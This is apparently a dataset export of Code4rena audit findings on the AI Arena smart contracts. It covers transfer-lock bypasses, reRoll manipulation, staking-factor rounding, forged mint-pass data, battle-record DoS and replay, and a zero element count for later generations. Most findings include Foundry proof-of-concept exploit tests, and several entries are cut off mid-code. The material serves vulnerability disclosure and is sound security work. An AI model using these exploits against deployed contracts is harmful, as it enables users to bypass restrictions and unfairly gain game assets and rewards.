xanoutas/solidity-security-findings huggingface dataset:
Fighters can be transferred whilst being staked and DoS game server calls to updateBattleRecord
Audit: 2024-02-ai-arena-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L322
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L16


# Vulnerability details

## Impact

Any fighter (an ERC-721) can be transferred even though the intention of the `FighterFarm` contract says otherwise (the `FighterFarm.fighterStaked` mapping value is `true` for the given token ID).

The most significant vulnerabilities involve the potential loss of data integrity concerning the token and its owner (e.g. points stats, stake at risk) across multiple contracts (e.g. `RankedBattle`, `StakeAtRisk`, `FighterFarm`). This increases the risk of a DoS attack when the game server is updating a battle record (via the `updatedBattleRecord` function) for the token previosuly transferred.

## Description

The `FighterFarm` contract lacks measures in certain transfer-related functions to enforce the non-transferability status of fighters, allowing transfers even when explicitly disallowed by the contract state (i.e. the fighter is staked):

- `safeTransferFrom(address,address,uint256,bytes)` (no overriden by `FighterFarm`, inherited from `ERC721`): does not implement the `_ableToTransfer` check.
- `safeTransferFrom(address,address,uint256)` (overriden by `FighterFarm`): does implement the `_ableToTransfer` check.
- `transferFrom(address,address,uint256)` (overriden by `FighterFarm`): does implement the `_ableToTransfer` check.

Therefore, fighters can always be transferred by calling the `FighterFarm.safeTransferFrom(address,address,uint256,bytes)` function.

## Proof Of Concept

Add the following tests in `RankedBattle.t.sol`:

```solidity
function testSafeTransferFromDoesNotCheckIfFighterIsStaked() public {
    // Arrange
    address staker = vm.addr(3);
    _mintFromMergingPool(staker);
    _fundUserWith4kNeuronByTreasury(staker);
    assertEq(_neuronContract.balanceOf(staker) >= 4_000 * 10 ** 18, true);
    assertEq(_fighterFarmContract.ownerOf(0), staker);
    assertEq(_neuronContract.hasRole(keccak256("STAKER_ROLE"), address(_rankedBattleContract)), true);
    vm.prank(staker);
    _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, 0);
    assertEq(_rankedBattleContract.amountStaked(0), 3_000 * 10 ** 18);
    assertEq(_fighterFarmContract.fighterStaked(0), true);
    address toAddress = msg.sender;

    // Act - `transferFrom` checks whether fighter is staked
    vm.prank(staker);
    vm.expectRevert();
    _fighterFarmContract.transferFrom(staker, toAddress, 0);

    // Act - `safeTransferFrom(address,address,uint256)` checks whether fighter is staked
    vm.prank(staker);
    vm.expectRevert();
    _fighterFarmContract.safeTransferFrom(staker, toAddress, 0);

    // Act - `safeTransferFrom(address,address,uint256,bytes)` does not check whether fighter is staked
    vm.prank(staker);
    _fighterFarmContract.safeTransferFrom(staker, toAddress, 0, "");

    // Assert
    assertEq(_fighterFarmContract.ownerOf(0), toAddress);
}
`
Choosing `fighterType` in `reRoll()` to influence result
Audit: 2024-02-ai-arena-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370


# Vulnerability details



## Impact
By letting the user choose `fighterType` for the token he is about to reroll, the user can influence the number of rerolls he can attempt, the fighter's new `element`, `weight` and `physicalAttributes`.

## Proof of Concept
`FighterFarm.reRoll()` lets the user choose the `fighterType`.
```solidity
function reRoll(uint8 tokenId, uint8 fighterType) public {
    require(msg.sender == ownerOf(tokenId));
    require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
    require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

    _neuronInstance.approveSpender(msg.sender, rerollCost);
    bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
    if (success) {
        numRerolls[tokenId] += 1;
        uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
        (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
        fighters[tokenId].element = element;
        fighters[tokenId].weight = weight;
        fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
            newDna,
            generation[fighterType],
            fighters[tokenId].iconsType,
            fighters[tokenId].dendroidBool
        );
        _tokenURIs[tokenId] = "";
    }
}
```
`fighterType` is used in three places.
The user can select `fighterType` to maximize `maxRerollsAllowed`.
In `_createFighterBase()` the choice of `fighterType` has the following effect.
```solidity
uint256 element = dna % numElements[generation[fighterType]];
uint256 weight = dna % 31 + 65;
uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
return (element, weight, newDna);
```
That is, it may be chosen to get better attributes.
In `createPhysicalAttributes()` the choice of `generation[fighterType]` has the following effect.
```solidity
if (dendroidBool) {
    return FighterOps.FighterPhysicalAttributes(99, 99, 99, 99, 99, 99);
} else {
    uint256[] memory finalAttributeProbabilityIndexes = new uint[](attributes.length);

    uint256 attributesLength = attributes.length;
    for (uint8 i = 0; i < attributesLength; i++) {
        if (
            i == 0 && iconsType == 2 || // Custom icons head (beta helmet)
            i == 1 && iconsType > 0 || // Custom icons eyes (red diamond)
            i == 4 && iconsType == 3 // Custom icons hands (bowling ball)
        ) {
            finalAttributeProbabilityIndexes[i] = 50;
        } else {
            uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100;
            uint256 attributeIndex = dnaToIndex(generation, rarityRank, attributes[i]);
            finalAttributeProbabilityIndexes[i] = attributeIndex;
        }
    }
    return FighterOps.FighterPhysicalAttributes(
        fin
Incorrect calculation of staking factor
Audit: 2024-02-ai-arena-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L528
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L445


# Vulnerability details

## Impact
Staking factor is incorrectly calculated. Causes points to be caculated incorrectly. Users can game this to optimize their stake size to give themselves an unfair advantage against users who expect the protocol to run as documented. Increasing stake should always increase points but this is not the case.  

## Proof of Concept
```
      uint256 stakingFactor_ = FixedPointMathLib.sqrt(
          (amountStaked[tokenId] + stakeAtRisk) / 10**18
      );
```

```
            if (stakeAtRisk == 0) {
                points = stakingFactor[tokenId] * eloFactor;
            }
```

Loss of accuracy causes a stake of 15 tokens to yield the same number of points as a stake of 10 tokens. The actual value for stake factor will be floor($\sqrt{stake}$) where $stake$ is the number of tokens staked with the decimal part truncated.

for stake of:

10.0   15.0   19.0   25.0   29.0   35.0

the staking factors are

3   3   4   5   5   5

so for example there is no difference in points for a character staking 25 and 35 tokens. If the number of tokens is large this becomes less impactful. 

## Recommended Mitigation Steps

it is easy to calculate properly:

```
      uint256 stakingFactor_ = FixedPointMathLib.sqrt(
          (amountStaked[tokenId] + stakeAtRisk)
      );
```
line 444-446 RankedBattle.sol
```
            if (stakeAtRisk == 0) {
                points = (stakingFactor[tokenId] * eloFactor )/ 10**9;
            }
```


## Assessed type

Math
redeemMintPass fighter NFT data can be arbitrarily set by caller
Audit: 2024-02-ai-arena-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L233


# Vulnerability details

## Impact

A `FighterFarm.redeemMintPass` caller can forge the following fighter NFT properties of their Mint Pass by arbitrarily set the arguments:

- Fighter type (via the `fighterTypes` parameter).
- Icon type (via the `iconsTypes` parameter).
- DNA (via the `mintPassDnas` parameter).
- ML model hash (via the `modelHashes` parameter).
- ML model type (via the `modelTypes` parameter).

Therefore, it is not only possible to redeem as many _Dendroid_ fighters as Mint Passes but also create _Champion_ with cherry picked physical attributes probabilities and other combinations of data not expected by the system.

## Description

According to the sponsor and its documentation some fighter traits are more rare than others, for instance fighters of type _Dendroid_ (i.e. `fighterType` is `1`) are more rare than fighter of type _Champion_ (i.e. `fighterType` is `0`) and have particular physical attributes. In fact all _Dendroid_ physical attributes are hard coded to `99` whilst some of the _Champion_ ones are calculated from its DNA and others depend on an icon type.

The lack of validation on the `FighterFarm.redeemMintPass` arguments against the caller Mint Pass undermines the consideration of rarity for specific fighter traits.

## Proof Of Concept

This already implemented test in `RankedBattle.t.sol` is a good example:

```solidity
function testRedeemMintPass() public {
    uint8[2] memory numToMint = [1, 0];
    bytes memory signature = abi.encodePacked(
        hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
    );
    string[] memory _tokenURIs = new string[](1);
    _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

    // first i have to mint an nft from the mintpass contract
    assertEq(_mintPassContract.mintingPaused(), false);
    _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
    assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
    assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

    // once owning one i can then redeem it for a fighter
    uint256[] memory _mintpassIdsToBurn = new uint256[](1);
    string[] memory _mintPassDNAs = new string[](1);
    uint8[] memory _fighterTypes = new uint8[](1);
    uint8[] memory _iconsTypes = new uint8[](1);
    string[] memory _neuralNetHashes = new string[](1);
    string[] memory _modelTypes = new string[](1);

    _mintpassIdsToBurn[0] = 1;
    // @audit-issue not only each value can be arbitrarily set but also combinations of them not expected by the system
    _mintPassDNAs[0] = "dna"; // @audit-info an arbitrarily value
    _fighterTypes[0] = 0; // @audit-info an arbitrarily value
    _neuralNetHashes[0] = "neuralnethash"; // @audit-info an arbitrarily value
    _modelTypes[0] = "original"; // @audit-info an arbitr
A battle initiator fighter owner can DoS game server calls to updateBattleRecord for an owned token
Audit: 2024-02-ai-arena-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L334
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/VoltageManager.sol#L105


# Vulnerability details

## Impact

A malicious fighter owner that initiated the battle can constantly prevent the update of any battle record (via the `updateBattleRecord` function) related with an owned token unless the game server front-runs it after a particular time.

## Description

In the function `updateBattleRecord` there is a require that contains two logical ORs (aka. three expressions):

```solidity
function updateBattleRecord(
    uint256 tokenId,
    uint256 mergingPortion,
    uint8 battleResult,
    uint256 eloFactor,
    bool initiatorBool
)
    external
{
    require(msg.sender == _gameServerAddress);
    require(mergingPortion <= 100);
    // @audit revert by not satisfying any of the 3 expressions
    require(
        !initiatorBool ||
        _voltageManagerInstance.ownerVoltageReplenishTime(fighterOwner) <= block.timestamp ||
        _voltageManagerInstance.ownerVoltage(fighterOwner) >= VOLTAGE_COST
    );
```

Each expression can evaluate falsy by:

1. Expression 1 (`!initiatorBool`): being the initiator of the battle (and the malicious user/fighter).
2. Expression 2 (`_voltageManagerInstance.ownerVoltageReplenishTime(fighterOwner) <= block.timestamp`): setting the value ahead of current block timestamp.
3. Expression 3 (`_voltageManagerInstance.ownerVoltage(fighterOwner) >= VOLTAGE_COST`): setting the voltage lower than `VOLTAGE_COST` (i.e. `value < 10`).

Steps 2 and 3 can be achieved by calling `VoltageManager.spendVoltage()`, which allows a fighter owner to set its replenish time 1 day ahead and spend all its voltage. At this point, a race between the game server and the fighter owner starts at time `_voltageManagerInstance.ownerVoltageReplenishTime(fighterOwner) == block.timestamp`. If the fighter owner successfully calls again `VoltageManager.spendVoltage()` then any call to `updateBattleRecord` related with this fighter owner will revert for another day.

## Proof Of Concept

Add the following tests in `RankedBattle.t.sol`:

```solidity
function testUpdateBattleRecordPlayerLostBattleDoS() public {
    // Arrange
    address player = vm.addr(3);
    _mintFromMergingPool(player);
    uint8 tokenId = 0;
    uint256 roundId = _rankedBattleContract.roundId();
    bool isInitiator = true;
    uint256 expectedPoints = 40500;
    uint256 nowTs = block.timestamp;
    uint8 maxVoltage = 100;
    uint8 voltageCost = _rankedBattleContract.VOLTAGE_COST();

    _fundUserWith4kNeuronByTreasury(player);
    vm.prank(player);
    _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, 0);
    assertEq(_rankedBattleContract.amountStaked(0), 3_000 * 10 ** 18);

    assertEq(block.timestamp, nowTs);
    assertEq(_voltageManagerContract.ownerVoltageReplenishTime(player), 0);
    assertEq(_voltageManagerContract.ownerVoltage(player), 0);

    vm.prank(address(_G
`numElements = 0` for higher generations
Audit: 2024-02-ai-arena-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L470


# Vulnerability details



## Impact
When `generation` is incremented all fighters will be created with `element = 0`, except those minted from the merging pool, giving those an unfair advantage.

## Proof of Concept
In FighterFarm.sol [`numElements` is a mapping of the number elements by generation](https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L84-L85).
[`numElements[0] = 3` by default in the constructor](https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L110).
It's only use is in `_createFighterBase()` to set `element` from `dna`: [`uint256 element = dna % numElements[generation[fighterType]];`](https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L470).
[`generation` is initialized as `[0,0]`](https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L42), but can be [incremented by the owner in `incrementGeneration()`](https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L131). It cannot be decremented.
If it is incremented then `numElements[generation[fighterType]]` will return `0` and `element` will therefore invariably be set to `0`.

`element` is set in this way whenever a fighter is created via `claimFighters()` or `redeemMintPass()`, or when changed via `reRoll()`. Only `mintFromMergingPool()` allows setting a custom `element`. This gives an unfair advantage to fighters minted from the merging pool, allowing them to have the element which has the [relative advantage](https://docs.aiarena.io/gaming-competition/nft-makeup#:~:text=These%20moves%20have%20relative%20strengths%20and%20weaknesses%20depending%20on%20pairing.) over element `0`.

## Recommended Mitigation Steps
Implement functionality which sets `numElements`, independently or when `generation` is incremented.


## Assessed type

Context
Players can transfer items that are non-transferable
Audit: 2024-02-ai-arena-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291-L303
https://github.com/OpenZeppelin/openzeppelin-contracts/blob/141c947921cc5d23ee1d247c691a8b85cabbbd5d/contracts/token/ERC1155/ERC1155.sol#L120-L132


# Vulnerability details

## Description
In AiArena protocol, items will be created through the `GameItems` contract.
``` solidity
function createGameItem(
    string memory name_,
    string memory tokenURI,
    bool finiteSupply,
    bool transferable,
    uint256 itemsRemaining,
    uint256 itemPrice,
    uint16 dailyAllowance
) 
    public 
{
    require(isAdmin[msg.sender]);
    allGameItemAttributes.push(
        GameItemAttributes(
            name_,
            finiteSupply,
            transferable,
            itemsRemaining,
            itemPrice,
            dailyAllowance
        )
    );
    if (!transferable) {
        emit Locked(_itemCount);
    }
    setTokenURI(_itemCount, tokenURI);
    _itemCount += 1;
}
```
Due to the `createGameItem` function, each item can be either transferable or non-transferable, and this logic is enforced by restricting the ERC1155 `safeTransferFrom` method.
``` solidity
function safeTransferFrom(
    address from, 
    address to, 
    uint256 tokenId,
    uint256 amount,
    bytes memory data
) 
    public 
    override(ERC1155)
{
    require(allGameItemAttributes[tokenId].transferable);
    super.safeTransferFrom(from, to, tokenId, amount, data);
}
```
However, the ERC1155 has another function, `safeBatchTransferFrom`, which handles multiple transfers, and `GameItems` contract does not override this function, allowing the transfer of tokens designated as non-transferable.

## Impact
* The token owner or an approved account can transfer tokens despite their designation as non-transferable.

## Proof of Concept
``` solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Test, console, stdError} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {GameItems} from "@contracts/GameItems.sol";
import {Neuron} from "@contracts/Neuron.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";

contract AiArenaPOC is Test{
    address internal OWNER;
    address internal TREASURY = makeAddr("TREASURY");
    address internal CONTRIBUTORS = makeAddr("CONTRIBUTORS");
    address internal ALICE = makeAddr("ALICE");

    GameItems internal gameItems;
    Neuron internal neuron;

    constructor(){
        OWNER = address(this);

        gameItems = new GameItems(OWNER, TREASURY);
        neuron = new Neuron(OWNER, TREASURY, CONTRIBUTORS);

        neuron.addSpender(address(gameItems));

        gameItems.instantiateNeuronContract(address(neuron));
        gameItems.createGameItem("Battery", "https://ipfs.io/ipfs/", true, true, 10_000, 1e18, 10);
    }

    function test_CantTransferWhenItemIsNotTransferable() public {
        // Fund OWNER
        vm.prank(TREASURY);
updateBattleRecord call can be replayed and DoS game server calls to updateBattleRecord
Audit: 2024-02-ai-arena-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L322


# Vulnerability details

## Impact

A replayed call to the `updateBattleRecord` function by the game server will go through and will count as a new battle record.

## Description

Battle records have no uniqueness attributes (e.g. battle ID), neither an on-chain registry of battles (e.g. already/pending to be resolved, fighters involved, round), nor a deadline. Literally there is no data that can be used as a nonce by the `updateBattleRecord` function to reject already processed battle records. The consequences are that any mistake by the game server logic that ends up replaying a call to `updateBattleRecord` will count as a new battle record. This may involve the potential loss of data integrity concerning the token and its owner (e.g. points stats, stake at risk) across multiple contracts (e.g. `RankedBattle`, `StakeAtRisk`, `FighterFarm`), which also increases the risk of a DoS on future battle record updates. Another caveat is that the users have to trust the game server API/front-end data that maps battle record with transactions instead of verifying it on-chain.

```solidity
function updateBattleRecord(
    uint256 tokenId,
    uint256 mergingPortion,
    uint8 battleResult,
    uint256 eloFactor,
    bool initiatorBool
)
    external
{
    require(msg.sender == _gameServerAddress);
    require(mergingPortion <= 100);

    ...
```

## Proof Of Concept

Add the following tests in `RankedBattle.t.sol`:

```solidity
function testUpdateBattleRecordPlayerWonBattleReplayed() public {
    // Arrange
    address player = vm.addr(3);
    _mintFromMergingPool(player);
    uint8 tokenId = 0;
    uint256 roundId = _rankedBattleContract.roundId();

    _fundUserWith4kNeuronByTreasury(player);
    vm.prank(player);
    _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, 0);
    assertEq(_rankedBattleContract.amountStaked(0), 3_000 * 10 ** 18);

    uint256 expectedPoints = 40500;
    uint256 expectedPointsAfterReplay = expectedPoints * 2;

    // Act
    vm.prank(address(_GAME_SERVER_ADDRESS));
    // original tx
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true);

    // Assert
    assertEq(_rankedBattleContract.accumulatedPointsPerFighter(tokenId, 0), expectedPoints);
    assertEq(_rankedBattleContract.accumulatedPointsPerAddress(player, roundId), expectedPoints);
    assertEq(_rankedBattleContract.totalAccumulatedPoints(roundId), expectedPoints);
    (uint256 wins,,) = _rankedBattleContract.fighterBattleRecord(tokenId);
    assertEq(wins, 1);

    // Act
    vm.prank(address(_GAME_SERVER_ADDRESS));
    // replayed tx
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true);

    // Assert
    assertEq(_rankedBattleContract.accumulatedPointsPerFighter(tokenId, 0), expectedPointsAfterReplay);
    assertEq(_rankedBattleContract.accumulatedPointsPerAddress(player, roundId), expectedPointsAfterReplay);
    assertEq(_ranke